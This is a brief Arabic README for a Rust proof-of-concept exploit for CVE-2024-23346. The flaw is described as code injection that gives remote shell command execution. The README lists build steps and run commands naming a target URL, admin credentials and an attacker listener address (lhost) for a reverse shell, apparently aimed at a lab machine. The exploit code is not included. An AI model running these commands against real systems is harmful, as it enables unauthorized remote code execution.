CVE-2024-23346-rust-exploit

نص برمجي للاستغلال مكتوب بلغة Rust لثغرة CVE-2024-23346.

كما هو موضح أدناه، يستخدم إثبات المفهوم (POC) ثغرة حقن الأكواد وينفّذ أوامر shell عن بُعد كما في الطرفية.

poc.webm

---

خطوات تشغيل الأداة:

• تشغيل مباشرة عبر Cargo
  • cargo run -- --help
  • cargo run -- --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

أو

• تجميع الملف التنفيذي: cargo build -r (سيكون الملف التنفيذي في target/release/poc)
• تشغيل الملف التنفيذي:
  • ./poc --help
  • ./poc --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

---

نص الاستغلال مستوحى من خبير البرمجة بلغة Python MAWK0235